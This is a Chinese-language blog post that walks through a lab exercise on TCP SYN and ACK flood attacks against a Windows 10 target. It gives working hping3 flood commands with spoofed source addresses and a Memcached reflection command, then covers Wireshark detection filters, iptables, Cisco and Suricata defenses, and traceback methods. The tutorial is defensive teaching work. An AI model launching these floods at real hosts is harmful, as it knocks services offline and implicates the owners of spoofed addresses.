🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第3章 第18.3天

:连接资源的攻防博弈

大家好,今天我们从安全工程师的视角拆解TCP协议的攻防技术。通过实验室的真实攻防演练,我会展示如何利用TCP协议的特性进行资源耗尽攻击,以及如何构建有效防御。我们将使用Kali Linux和Windows 10构建实验环境,模拟真实攻击场景。( ̄ω ̄;)


一、实验环境搭建:攻防沙箱配置

核心设备

  • 攻击机:Kali Linux 2023(IP:192.168.146.4)
  • 靶机:Windows 10 Pro(IP:192.168.146.5)

网络验证与准备

# Kali终端验证连通性
ping -c 4 192.168.146.5
# 输出示例:
# 64 bytes from 192.168.146.5: icmp_seq=1 ttl=128 time=0.8ms

# 关闭Windows防火墙(实验期间)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

# 创建防御快照(重要!)
VBoxManage snapshot "Win10-Target" take "Pre-TCP-Attack"

二、SYN洪水攻击:耗尽连接资源

攻击原理

  • 利用TCP三次握手缺陷:只发送SYN不完成握手
  • 靶机维护半开连接队列,耗尽后拒绝新连接

攻击命令解析

sudo hping3 \
-a 8.8.8.8 \# 伪造Google IP(规避基础过滤)
-S \# 设置SYN标志位(SYN洪水)
-p 888 \# 目标端口(可自定义)
--flood \# 洪水模式(最大发包速率)
--fast \# 高速模式(提升PPS)
192.168.146.5# 目标IP

靶机状态监测

# Windows查看半开连接数
Get-NetTCPConnection -State SynReceived | Measure-Object | Select-Object Count
# 正常:0-5
# 攻击中:>1000(系统默认队列满)

三、ACK洪水攻击:消耗处理资源

攻击原理

  • 发送海量ACK包
  • 迫使靶机查询连接状态并回复RST
  • 消耗CPU/带宽资源

攻击命令

sudo hping3 \
-a 8.8.8.8 \# 伪造源IP
-A \# 设置ACK标志位
-p 888 \# 目标端口
--flood \# 洪水模式
192.168.146.5

资源消耗观测

# Windows监控CPU和网络
Get-Counter '\Processor(*)\% Processor Time' # CPU使用率
Get-NetAdapterStatistics -Name "Ethernet"# 接收包速率

四、Wireshark流量分析:攻击特征识别

SYN洪水特征

  1. 高比例SYN包:SYN包占比>90%
tcp.flags.syn == 1 and tcp.flags.ack == 0
  1. 伪造源IP:随机源IP+固定目标端口
No.TimeSourceDestinationProtocol Info
10010.0000018.8.8.8192.168.146.5 TCPSYN
10020.0000031.1.1.1192.168.146.5 TCPSYN
10030.000005192.0.2.1192.168.146.5 TCPSYN
  1. 无后续握手:仅有SYN无SYN+ACK响应

ACK洪水特征

  1. ACK包风暴:ACK包占比极高
tcp.flags.ack == 1 and tcp.flags.syn == 0
  1. 无关联连接:ACK序列号随机
No.TimeSourceDestinationProtocol Info
20010.0000018.8.8.8192.168.146.5 TCPACK
20020.0000038.8.8.8192.168.146.5 TCPACK
20030.0000058.8.8.8192.168.146.5 TCPACK

五、防御策略:四层防护体系

1. 操作系统层(SYN Cookies)
# Windows启用SYN攻击防护(默认开启)
Set-NetTCPSetting -SettingName InternetCustom -SynAttackProtection 1
2. 网络设备层(Cisco防护)
! 启用TCP拦截
ip tcp intercept mode intercept
ip tcp intercept list 101
access-list 101 permit tcp any host 192.168.146.5

! ACK洪水防护
access-list 150 deny tcp any any established
rate-limit input access-group 150 512000 80000 80000 conform-action transmit exceed-action drop
3. 防火墙层(状态检测)
# Linux iptables防御SYN洪水
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

# 防御ACK洪水
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
4. 入侵防御层(Suricata规则)
# SYN洪水检测
alert tcp any any -> 192.168.146.5 any (
msg:"SYN Flood Attack";
flags: S;
threshold: type both, track by_dst, count 100, seconds 1;
sid:3001;
)

# ACK洪水检测
alert tcp any any -> 192.168.146.5 any (
msg:"ACK Flood Attack";
flags: A;
threshold: type both, track by_dst, count 1000, seconds 1;
sid:3002;
)

六、攻击溯源:追踪技术实践

SYN洪水溯源

  1. 反向探测:对可疑IP发送SYN+ACK
# 使用nmap探测
nmap -sA -p 888 8.8.8.8
# 若返回RST则为真实主机,无响应为伪造
  1. TTL一致性分析
# Python提取TTL值(Scapy示例)
from scapy.all import *

pkts = rdpcap('syn_flood.pcap')
for pkt in pkts:
if pkt.haslayer(IP) and pkt.haslayer(TCP) and pkt[TCP].flags == 'S':
print(f"Source: {pkt[IP].src} TTL: {pkt[IP].ttl}")
# 输出:8.8.8.8 TTL:255 → 本地伪造特征

ACK洪水溯源

  • 载荷模式分析:攻击包常为纯ACK无载荷
# tshark提取包长度
tshark -r ack_flood.pcap -Y "tcp.flags.ack==1" -T fields -e frame.len | sort | uniq -c
# 输出:100000 54 → 最小TCP包(20B IP头+20B TCP头+14B以太网帧)

七、现代攻击演进:分布式反射攻击

Memcached DRDoS

# 利用Memcached放大攻击
hping3 -a 192.168.146.5 --udp -p 11211 --flood --data 15 memcached.server
# 15字节请求触发数MB响应

防御方案

  • 云清洗中心:阿里云DDoS防护
  • ISP协作:在骨干网过滤伪造源IP流量
  • 服务加固:关闭UDP端口11211

总结:TCP攻防的本质

  1. 资源不对称:攻击者低消耗 vs 防御者高负载
  2. 协议级防御:SYN Cookies/状态检测
  3. 架构级防护:分布式清洗+流量调度

实验建议

  1. 测试不同端口(80/443)的攻击效果差异
  2. 对比SYN Cookies开启/关闭时的系统表现
  3. 编写BPF程序在内核层过滤攻击包

当你在凌晨三点守护校园网络时,TCP洪水攻击可能随时来袭。理解攻击原理,才能构建更可靠的防御体系。(´-ω-`)

posted on 2025-08-04 08:00  鱼油YOU  阅读(61)  评论(0)    收藏  举报